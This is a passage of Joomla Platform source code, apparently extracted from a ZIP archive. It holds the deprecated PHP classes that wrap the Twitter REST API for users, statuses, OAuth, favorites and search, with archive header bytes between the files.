@param integer $count The number of people to retrieve. Maximum of 20 allowed per page. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function searchUsers($query, $page = 0, $count = 0, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'search'); $data['q'] = rawurlencode($query); // Check if page is specified. if ($page > 0) { $data['page'] = $page; } // Check if per_page is specified if ($count > 0) { $data['count'] = $count; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Set the API path $path = '/users/search.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get extended information of a given user, specified by ID or screen name as per the required id parameter. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities Set to true to return IDs as strings, false to return as integers. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getUser($user, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'show/:id'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/users/show.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get an array of users that the specified user can contribute to. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities Set to true to return IDs as strings, false to return as integers. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getContributees($user, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'contributees'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/users/contributees.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get an array of users who can contribute to the specified account. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $entities Set to true to return IDs as strings, false to return as integers. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getContributors($user, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'contributors'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/users/contributors.json'; // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method access to Twitter's suggested user list. * * @param boolean $lang Restricts the suggested categories to the requested language. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSuggestions($lang = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'suggestions'); // Set the API path $path = '/users/suggestions.json'; $data = array(); // Check if entities is true if ($lang) { $data['lang'] = $lang; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * method to access the users in a given category of the Twitter suggested user list. * * @param string $slug The short name of list or a category. * @param boolean $lang Restricts the suggested categories to the requested language. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSuggestionsSlug($slug, $lang = null) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'suggestions/:slug'); // Set the API path $path = '/users/suggestions/' . $slug . '.json'; $data = array(); // Check if entities is true if ($lang) { $data['lang'] = $lang; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to access the users in a given category of the Twitter suggested user list and return * their most recent status if they are not a protected user. * * @param string $slug The short name of list or a category. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSuggestionsSlugMembers($slug) { // Check the rate limit for remaining hits $this->checkRateLimit('users', 'suggestions/:slug/members'); // Set the API path $path = '/users/suggestions/' . $slug . '/members.json'; // Send the request. return $this->sendRequest($path); } } PK���\�rMITITjoomla/twitter/statuses.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Statuses class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterStatuses extends JTwitterObject { /** * Method to get a single tweet with the given ID. * * @param integer $id The ID of the tweet to retrieve. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $myRetweet When set to either true, t or 1, any statuses returned that have been retweeted by the authenticating user will * include an additional current_user_retweet node, containing the ID of the source status for the retweet. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getTweetById($id, $trimUser = null, $entities = null, $myRetweet = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'show/:id'); // Set the API base $path = '/statuses/show/' . $id . '.json'; $data = array(); // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if my_retweet is specified if (!is_null($myRetweet)) { $data['include_my_retweet'] = $myRetweet; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to retrieve the latest statuses from the specified user timeline. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param integer $count Specifies the number of tweets to try and retrieve, up to a maximum of 200. Retweets are always included * in the count, so it is always suggested to set $includeRts to true * @param boolean $includeRts When set to true, the timeline will contain native retweets in addition to the standard stream of tweets. * @param boolean $noReplies This parameter will prevent replies from appearing in the returned timeline. This parameter is only supported * for JSON and XML responses. * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) the specified ID. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * @param boolean $contributor This parameter enhances the contributors element of the status response to include the screen_name of the * contributor. By default only the user_id of the contributor is included. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getUserTimeline($user, $count = 20, $includeRts = null, $noReplies = null, $sinceId = 0, $maxId = 0, $trimUser = null, $contributor = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'user_timeline'); $data = array(); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API base $path = '/statuses/user_timeline.json'; // Set the count string $data['count'] = $count; // Check if include_rts is specified if (!is_null($includeRts)) { $data['include_rts'] = $includeRts; } // Check if no_replies is specified if (!is_null($noReplies)) { $data['exclude_replies'] = $noReplies; } // Check if a since_id is specified if ($sinceId > 0) { $data['since_id'] = (int) $sinceId; } // Check if a max_id is specified if ($maxId > 0) { $data['max_id'] = (int) $maxId; } // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Check if contributor details is specified if (!is_null($contributor)) { $data['contributor_details'] = $contributor; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to post a tweet. * * @param string $status The text of the tweet. * @param integer $inReplyToStatusId The ID of an existing status that the update is in reply to. * @param float $lat The latitude of the location this tweet refers to. * @param float $long The longitude of the location this tweet refers to. * @param string $placeId A place in the world. * @param boolean $displayCoordinates Whether or not to put a pin on the exact coordinates a tweet has been sent from. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * * @return array The decoded JSON response * * @since 3.1.4 */ public function tweet($status, $inReplyToStatusId = null, $lat = null, $long = null, $placeId = null, $displayCoordinates = null, $trimUser = null) { // Set the API base. $path = '/statuses/update.json'; // Set POST data. $data = array('status' => utf8_encode($status)); // Check if in_reply_to_status_id is specified. if ($inReplyToStatusId) { $data['in_reply_to_status_id'] = $inReplyToStatusId; } // Check if lat is specified. if ($lat) { $data['lat'] = $lat; } // Check if long is specified. if ($long) { $data['long'] = $long; } // Check if place_id is specified. if ($placeId) { $data['place_id'] = $placeId; } // Check if display_coordinates is specified. if (!is_null($displayCoordinates)) { $data['display_coordinates'] = $displayCoordinates; } // Check if trim_user is specified. if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to retrieve the most recent mentions for the authenticating user. * * @param integer $count Specifies the number of tweets to try and retrieve, up to a maximum of 200. Retweets are always included * in the count, so it is always suggested to set $includeRts to true * @param boolean $includeRts When set to true, the timeline will contain native retweets in addition to the standard stream of tweets. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) the specified ID. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * @param string $contributor This parameter enhances the contributors element of the status response to include the screen_name * of the contributor. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getMentions($count = 20, $includeRts = null, $entities = null, $sinceId = 0, $maxId = 0, $trimUser = null, $contributor = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'mentions_timeline'); // Set the API base $path = '/statuses/mentions_timeline.json'; // Set the count string $data['count'] = $count; // Check if include_rts is specified if (!is_null($includeRts)) { $data['include_rts'] = $includeRts; } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if a since_id is specified if ($sinceId > 0) { $data['since_id'] = (int) $sinceId; } // Check if a max_id is specified if ($maxId > 0) { $data['max_id'] = (int) $maxId; } // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Check if contributor is specified if (!is_null($contributor)) { $data['contributor_details'] = $contributor; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the most recent tweets of the authenticated user that have been retweeted by others. * * @param integer $count Specifies the number of tweets to try and retrieve, up to a maximum of 200. Retweets are always included * in the count, so it is always suggested to set $includeRts to true * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $userEntities The user entities node will be disincluded when set to false. * @param integer $maxId Returns results with an ID less than (that is, older than) the specified ID. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getRetweetsOfMe($count = 20, $sinceId = 0, $entities = null, $userEntities = null, $maxId = 0, $trimUser = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'retweets_of_me'); // Set the API path $path = '/statuses/retweets_of_me.json'; // Set the count string $data['count'] = $count; // Check if a since_id is specified if ($sinceId > 0) { $data['since_id'] = (int) $sinceId; } // Check if a max_id is specified if ($maxId > 0) { $data['max_id'] = (int) $maxId; } // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if entities is specified if (!is_null($userEntities)) { $data['include_user_entities'] = $userEntities; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to show user objects of up to 100 members who retweeted the status. * * @param integer $id The numerical ID of the desired status. * @param integer $count Specifies the number of retweets to try and retrieve, up to a maximum of 100. * @param integer $cursor Causes the list of IDs to be broken into pages of no more than 100 IDs at a time. * The number of IDs returned is not guaranteed to be 100 as suspended users are * filtered out after connections are queried. If no cursor is provided, a value of * -1 will be assumed, which is the first "page." * @param boolean $stringifyIds Set to true to return IDs as strings, false to return as integers. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getRetweeters($id, $count = 20, $cursor = null, $stringifyIds = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'retweeters/ids'); // Set the API path $path = '/statuses/retweeters/ids.json'; // Set the status id. $data['id'] = $id; // Set the count string $data['count'] = $count; // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if entities is specified if (!is_null($stringifyIds)) { $data['stringify_ids'] = $stringifyIds; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get up to 100 of the first retweets of a given tweet. * * @param integer $id The numerical ID of the desired status. * @param integer $count Specifies the number of tweets to try and retrieve, up to a maximum of 200. Retweets are always included * in the count, so it is always suggested to set $includeRts to true * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getRetweetsById($id, $count = 20, $trimUser = null) { // Check the rate limit for remaining hits $this->checkRateLimit('statuses', 'retweets/:id'); // Set the API path $path = '/statuses/retweets/' . $id . '.json'; // Set the count string $data['count'] = $count; // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to delete the status specified by the required ID parameter. * * @param integer $id The numerical ID of the desired status. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * * @return array The decoded JSON response * * @since 3.1.4 */ public function deleteTweet($id, $trimUser = null) { // Set the API path $path = '/statuses/destroy/' . $id . '.json'; $data = array(); // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to retweet a tweet. * * @param integer $id The numerical ID of the desired status. * @param boolean $trimUser When set to true, each tweet returned in a timeline will include a user object including only * the status author's numerical ID. * * @return array The decoded JSON response * * @since 3.1.4 */ public function retweet($id, $trimUser = null) { // Set the API path $path = '/statuses/retweet/' . $id . '.json'; $data = array(); // Check if trim_user is specified if (!is_null($trimUser)) { $data['trim_user'] = $trimUser; } // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to post a tweet with media. * * @param string $status The text of the tweet. * @param string $media File to upload * @param integer $inReplyToStatusId The ID of an existing status that the update is in reply to. * @param float $lat The latitude of the location this tweet refers to. * @param float $long The longitude of the location this tweet refers to. * @param string $placeId A place in the world. * @param boolean $displayCoordinates Whether or not to put a pin on the exact coordinates a tweet has been sent from. * @param boolean $sensitive Set to true for content which may not be suitable for every audience. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function tweetWithMedia($status, $media, $inReplyToStatusId = null, $lat = null, $long = null, $placeId = null, $displayCoordinates = null, $sensitive = null) { // Set the API request path. $path = '/statuses/update_with_media.json'; // Set POST data. $data = array( 'status' => utf8_encode($status), 'media[]' => "@{$media}", ); $header = array('Content-Type' => 'multipart/form-data'); // Check if in_reply_to_status_id is specified. if (!is_null($inReplyToStatusId)) { $data['in_reply_to_status_id'] = $inReplyToStatusId; } // Check if lat is specified. if ($lat) { $data['lat'] = $lat; } // Check if long is specified. if ($long) { $data['long'] = $long; } // Check if place_id is specified. if ($placeId) { $data['place_id'] = $placeId; } // Check if display_coordinates is specified. if (!is_null($displayCoordinates)) { $data['display_coordinates'] = $displayCoordinates; } // Check if sensitive is specified. if (!is_null($sensitive)) { $data['possibly_sensitive'] = $sensitive; } // Send the request. return $this->sendRequest($path, 'POST', $data, $header); } /** * Method to get information allowing the creation of an embedded representation of a Tweet on third party sites. * Note: either the id or url parameters must be specified in a request. It is not necessary to include both. * * @param integer $id The Tweet/status ID to return embed code for. * @param string $url The URL of the Tweet/status to be embedded. * @param integer $maxWidth The maximum width in pixels that the embed should be rendered at. This value is constrained to be * between 250 and 550 pixels. * @param boolean $hideMedia Specifies whether the embedded Tweet should automatically expand images which were uploaded via * POST statuses/update_with_media. * @param boolean $hideThread Specifies whether the embedded Tweet should automatically show the original message in the case that * the embedded Tweet is a reply. * @param boolean $omitScript Specifies whether the embedded Tweet HTML should include a `<script>` element pointing to widgets.js. * In cases where a page already includes widgets.js, setting this value to true will prevent a redundant * script element from being included. * @param string $align Specifies whether the embedded Tweet should be left aligned, right aligned, or centered in the page. * Valid values are left, right, center, and none. * @param string $related A value for the TWT related parameter, as described in Web Intents. This value will be forwarded to all * Web Intents calls. * @param string $lang Language code for the rendered embed. This will affect the text and localization of the rendered HTML. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getOembed($id = null, $url = null, $maxWidth = null, $hideMedia = null, $hideThread = null, $omitScript = null, $align = null, $related = null, $lang = null) { // Check the rate limit for remaining hits. $this->checkRateLimit('statuses', 'oembed'); // Set the API request path. $path = '/statuses/oembed.json'; // Determine which of $id and $url is specified. if ($id) { $data['id'] = $id; } elseif ($url) { $data['url'] = rawurlencode($url); } else { // We don't have a valid entry. throw new RuntimeException('Either the id or url parameters must be specified in a request.'); } // Check if maxwidth is specified. if ($maxWidth) { $data['maxwidth'] = $maxWidth; } // Check if hide_media is specified. if (!is_null($hideMedia)) { $data['hide_media'] = $hideMedia; } // Check if hide_thread is specified. if (!is_null($hideThread)) { $data['hide_thread'] = $hideThread; } // Check if omit_script is specified. if (!is_null($omitScript)) { $data['omit_script'] = $omitScript; } // Check if align is specified. if ($align) { $data['align'] = $align; } // Check if related is specified. if ($related) { $data['related'] = $related; } // Check if lang is specified. if ($lang) { $data['lang'] = $lang; } // Send the request. return $this->sendRequest($path, 'GET', $data); } } PK���\ aĽa a joomla/twitter/oauth.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for generating Twitter API access token. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterOAuth extends JOAuth1Client { /** * @var Registry Options for the JTwitterOauth object. * @since 3.1.4 */ protected $options; /** * Constructor. * * @param Registry $options JTwitterOauth options object. * @param JHttp $client The HTTP client object. * @param JInput $input The input object. * @param JApplicationWeb $application The application object. * * @since 3.1.4 */ public function __construct(Registry $options = null, JHttp $client = null, JInput $input = null, JApplicationWeb $application = null) { $this->options = isset($options) ? $options : new Registry; $this->options->def('accessTokenURL', 'https://api.twitter.com/oauth/access_token'); $this->options->def('authenticateURL', 'https://api.twitter.com/oauth/authenticate'); $this->options->def('authoriseURL', 'https://api.twitter.com/oauth/authorize'); $this->options->def('requestTokenURL', 'https://api.twitter.com/oauth/request_token'); // Call the JOAuth1Client constructor to setup the object. parent::__construct($this->options, $client, $input, $application); } /** * Method to verify if the access token is valid by making a request. * * @return boolean Returns true if the access token is valid and false otherwise. * * @since 3.1.4 */ public function verifyCredentials() { $token = $this->getToken(); // Set the parameters. $parameters = array('oauth_token' => $token['key']); // Set the API base $path = 'https://api.twitter.com/1.1/account/verify_credentials.json'; // Send the request. $response = $this->oauthRequest($path, 'GET', $parameters); // Verify response if ($response->code == 200) { return true; } else { return false; } } /** * Ends the session of the authenticating user, returning a null cookie. * * @return array The decoded JSON response * * @since 3.1.4 */ public function endSession() { $token = $this->getToken(); // Set parameters. $parameters = array('oauth_token' => $token['key']); // Set the API base $path = 'https://api.twitter.com/1.1/account/end_session.json'; // Send the request. $response = $this->oauthRequest($path, 'POST', $parameters); return json_decode($response->body); } /** * Method to validate a response. * * @param string $url The request URL. * @param JHttpResponse $response The response to validate. * * @return void * * @since 3.1.4 * @throws DomainException */ public function validateResponse($url, $response) { if (strpos($url, 'verify_credentials') === false && $response->code != 200) { $error = json_decode($response->body); if (property_exists($error, 'error')) { throw new DomainException($error->error); } else { $error = $error->errors; throw new DomainException($error[0]->message, $error[0]->code); } } } } PK���\�y����joomla/twitter/favorites.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Favorites class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterFavorites extends JTwitterObject { /** * Method to get the most recent favorite statuses for the authenticating or specified user. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param integer $count Specifies the number of tweets to try and retrieve, up to a maximum of 200. Retweets are always included * in the count, so it is always suggested to set $includeRts to true * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) the specified ID. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getFavorites($user = null, $count = 20, $sinceId = 0, $maxId = 0, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('favorites', 'list'); // Set the API path. $path = '/favorites/list.json'; // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } // Set the count string $data['count'] = $count; // Check if since_id is specified. if ($sinceId > 0) { $data['since_id'] = $sinceId; } // Check if max_id is specified. if ($maxId > 0) { $data['max_id'] = $maxId; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to favorite the status specified in the ID parameter as the authenticating user * * @param integer $id The numerical ID of the desired status. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function createFavorites($id, $entities = null) { // Set the API path. $path = '/favorites/create.json'; $data['id'] = $id; // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to un-favorites the status specified in the ID parameter as the authenticating user. * * @param integer $id The numerical ID of the desired status. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function deleteFavorites($id, $entities = null) { // Set the API path. $path = '/favorites/destroy.json'; $data['id'] = $id; // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK�\����--joomla/twitter/search.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Search class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwittersearch extends JTwitterObject { /** * Method to get tweets that match a specified query. * * @param string $query Search query. Should be URL encoded. Queries will be limited by complexity. * @param string $callback If supplied, the response will use the JSONP format with a callback of the given name * @param string $geocode Returns tweets by users located within a given radius of the given latitude/longitude. The parameter value is * specified by "latitude,longitude,radius", where radius units must be specified as either "mi" (miles) or "km" (kilometers). * @param string $lang Restricts tweets to the given language, given by an ISO 639-1 code. * @param string $locale Specify the language of the query you are sending (only ja is currently effective). This is intended for * language-specific clients and the default should work in the majority of cases. * @param string $resultType Specifies what type of search results you would prefer to receive. The current default is "mixed." * @param integer $count The number of tweets to return per page, up to a maximum of 100. Defaults to 15. * @param string $until Returns tweets generated before the given date. Date should be formatted as YYYY-MM-DD. * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) or equal to the specified ID. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities,". This node offers a * variety of metadata about the tweet in a discrete structure, including: urls, media and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function search($query, $callback = null, $geocode = null, $lang = null, $locale = null, $resultType = null, $count = 15, $until = null, $sinceId = 0, $maxId = 0, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('search', 'tweets'); // Set the API path $path = '/search/tweets.json'; // Set query parameter. $data['q'] = rawurlencode($query); // Check if callback is specified. if ($callback) { $data['callback'] = $callback; } // Check if geocode is specified. if ($geocode) { $data['geocode'] = $geocode; } // Check if lang is specified. if ($lang) { $data['lang'] = $lang; } // Check if locale is specified. if ($locale) { $data['locale'] = $locale; } // Check if result_type is specified. if ($resultType) { $data['result_type'] = $resultType; } // Check if count is specified. if ($count != 15) { $data['count'] = $count; } // Check if until is specified. if ($until) { $data['until'] = $until; } // Check if since_id is specified. if ($sinceId > 0) { $data['since_id'] = $sinceId; } // Check if max_id is specified. if ($maxId > 0) { $data['max_id'] = $maxId; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the authenticated user's saved search queries. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSavedSearches() { // Check the rate limit for remaining hits $this->checkRateLimit('saved_searches', 'list'); // Set the API path $path = '/saved_searches/list.json'; // Send the request. return $this->sendRequest($path); } /** * Method to get the information for the saved search represented by the given id. * * @param integer $id The ID of the saved search. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSavedSearchesById($id) { // Check the rate limit for remaining hits $this->checkRateLimit('saved_searches', 'show/:id'); // Set the API path $path = '/saved_searches/show/' . $id . '.json'; // Send the request. return $this->sendRequest($path); } /** * Method to create a new saved search for the authenticated user. * * @param string $query The query of the search the user would like to save. * * @return array The decoded JSON response * * @since 3.1.4 */ public function createSavedSearch($query) { // Set the API path $path = '/saved_searches/create.json'; // Set POST request data $data['query'] = rawurlencode($query); // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to delete a saved search for the authenticating user. * * @param integer $id The ID of the saved search. * * @return array The decoded JSON response * * @since 3.1.4 */ public function deleteSavedSearch($id) { // Check the rate limit for remaining hits $this->checkRateLimit('saved_searches', 'destroy/:id'); // Set the API path $path = '/saved_searches/destroy/' . $id . '.json'; // Send the request. return $this->sendRequest($path, 'POST'); } } PK�\n]��joomla/twitter/twitter.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with a Twitter API instance. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitter { /** * @var Registry Options for the JTwitter object. * @since 3.1.4 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $client; /** * @var JTwitterOAuth The OAuth client. * @since 3.1.4 */ protected $oauth; /** * @var JTwitterFriends Twitter API object for friends. * @since 3.1.4 */ protected $friends; /** * @var JTwitterUsers Twitter API object for users. * @since 3.1.4 */ protected $users; /** * @var JTwitterHelp Twitter API object for help. * @since 3.1.4 */ protected $help; /** * @var JTwitterStatuses Twitter API object for statuses. * @since 3.1.4 */ protected $statuses; /** * @var JTwitterSearch Twitter API object for search. * @since 3.1.4 */ protected $search; /** * @var JTwitterFavorites Twitter API object for favorites. * @since 3.1.4 */ protected $favorites; /** * @var JTwitterDirectMessages Twitter API object for direct messages. * @since 3.1.4 */ protected $directMessages; /** * @var JTwitterLists Twitter API object for lists. * @since 3.1.4 */ protected $lists; /** * @var JTwitterPlaces Twitter API object for places & geo. * @since 3.1.4 */ protected $places; /** * @var JTwitterTrends Twitter API object for trends. * @since 3.1.4 */ protected $trends; /** * @var JTwitterBlock Twitter API object for block. * @since 3.1.4 */ protected $block; /** * @var JTwitterProfile Twitter API object for profile. * @since 3.1.4 */ protected $profile; /** * Constructor. * * @param JTwitterOauth $oauth The oauth client. * @param Registry $options Twitter options object. * @param JHttp $client The HTTP client object. * * @since 3.1.4 */ public function __construct(JTwitterOAuth $oauth = null, Registry $options = null, JHttp $client = null) { $this->oauth = $oauth; $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); // Setup the default API url if not already set. $this->options->def('api.url', 'https://api.twitter.com/1.1'); } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JTwitterObject Twitter API object (statuses, users, favorites, etc.). * * @since 3.1.4 * @throws InvalidArgumentException */ public function __get($name) { $class = 'JTwitter' . ucfirst($name); if (class_exists($class)) { if (false == isset($this->$name)) { $this->$name = new $class($this->options, $this->client, $this->oauth); } return $this->$name; } throw new InvalidArgumentException(sprintf('Argument %s produced an invalid class name: %s', $name, $class)); } /** * Get an option from the JTwitter instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JTwitter instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JTwitter This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\��55joomla/twitter/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. 